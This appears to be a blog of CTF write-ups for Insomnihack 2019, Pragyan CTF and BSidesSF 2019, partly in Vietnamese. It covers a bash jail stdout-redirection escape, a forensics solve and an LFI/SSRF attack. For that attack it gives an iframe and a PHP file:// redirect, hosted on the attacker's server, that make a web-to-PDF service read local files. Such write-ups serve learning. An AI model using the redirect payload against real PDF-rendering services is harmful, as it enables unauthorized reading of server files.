Saturday, March 23, 2019

[Writeup] Insomnihack final 2019

myBrokenBash

For this challenge, the author give us something about stdout and when I try to send something the server will reply the string that I send, it's make me remember to a challenge in Ringzer0 CTF about bash shell jail escaping. It use file description to bypass stdout. Redirect from stdout to stdin by ls * 1>&0 I can see the flag file.


But I got the problem when I try to cat a flag, I only have a half flag



Maybe another file contain another half flag but the grep command only direct me to that file, so I think it have been filtered output. After a little help form my mates, I used base64 command and got a flag.


Flag: INS{c@t_th3_Flag_1t_s_n0t_so_ea4y}

EZGEN

I write this writeup base on my mate solution, I just help him found flag's direction because I found it at mybashbroken. This challenge have problem is LFI and he wrote a code on his vps to get flag. The code below is just a old version because he reset windows after competion end so I can't have best code for you.

index.html


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title></title>
  <link rel="stylesheet" href="">
</head>
<body>
  <iframe width="800" height="800" src="http://<IP_YOUR_SERVER>/file.php?file=/var/www/html/webtopdf.php"></iframe>
</body>
</html>

file.php


1
2
3
4
<?php
$filename = $_GET['file'];
header("Location: file://$filename");
?>

The flag saved at /flag
(This is my first test, correct is /flag not flag)
And I got flag


Monday, March 11, 2019

[Writeup] Pragyan CTF - Forensics

Welcome

We have a jpg file, I used HXD and see a zip file in it, then I used binwalk to get the zip file.


1
2
3
4
5
6
7
$ binwalk welcome.jpeg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
10600         0x2968          Zip archive data, at least v2.0 to extract, uncompressed size: 9886, name: d.zip
20483         0x5003          End of Zip archive

And what I got? One secret.bmp file and one zip file contain the flag but protected by password. Dig the bitmap file I saw a base64 strings is: dGhlIHBhc3N3b3JkIGlzOiBoMzExMF90aDNyMyE==
Decode and I got the password is: h3110_th3r3!
After have a.png I used stegsolve to check lsb and got the flag



Flag: pctf{st3gs0lv3_1s_u53ful}

Magic PNGs

The picture you_can't_see_me.png have wrong 2 point, first is the header, I changed the header

89 50 4E 47 2E 0A 2E 0A to 89 50 4E 47 0D 0A 1A 0A

then I look for chunk: 6, the iidat should be IDAT




fix it and I got the image:



And the password for zip file is md5(h4CK3RM4n)

Flag: pctf{y0u_s33_m33_n0w!}

Tuesday, March 5, 2019

[Writeup] BSidesSF 2019 CTF

Trivia 1:

Search nguyên dòng chữ "My voice is my ________. Verify me." lên google mình thấy ngay ở kết quả tìm thấy đầu tiên: My voice is my passport

Flag: passport.

Forensics

table-tennis

Sử dụng wireshark, mình thấy có khá nhiều certificate, tuy nhiên nhưng chứng chỉ này không làm được gì cả. Và số lượng gói tin cũng khá nhiều nên mình vào Statistics -> Conversations để xem các kết nối.


Sau khi filter các kết nối của mạng 172.217.5.100 và 172.217.0.36 mình thấy rằng đó là các gói tin ICMP, request và reply data có đều có chứa mã base64, vì không rành về thư viện scappy lắm và một phần là chuỗi cũng khá ngắn nên mình quyết định là làm bằng tay.


Và chỉ sau chừng 5 phút mình đã có được đoạn base64 hoàn chỉnh:


Q1RGe0p1c3RBMHV0UDFuUzBuZ0FiZ1Awbmd9

Flag: CTF{JustA0utP1nS0ngAbgP0ng}

goodlusk1

Ban tổ chức cho mình một file img nên mình dùng Autospy để mở. Bên trong chứa một file LUKS và không có gì khác nên mình extract file đó ra. Google cho mình biết đó là file ổ đĩa đã bị mã hóa của hệ điều hành Linux nên mình coppy vào máy ảo Linux để thực hiện.


$ sudo cryptsetup open --type luks b.luks test

Và dĩ nhiên vì là file đã mã hóa nên mình cần 1 password. File ảnh kèm theo cho chúng ta gợi ý về password và sau khi search tung google và nhìn thật kỹ vào bức anh, mình đã tìm ra đó là EFF passphrase. Để so khớp với các số đã cho mình dùng link này để có được password. Password là


wages upturned flogging rinse landmass number

Sau khi có được password mount ỗ đĩa và mình có được flag.

Flag: CTF{Look_Under_Keyboards_4_Secrets}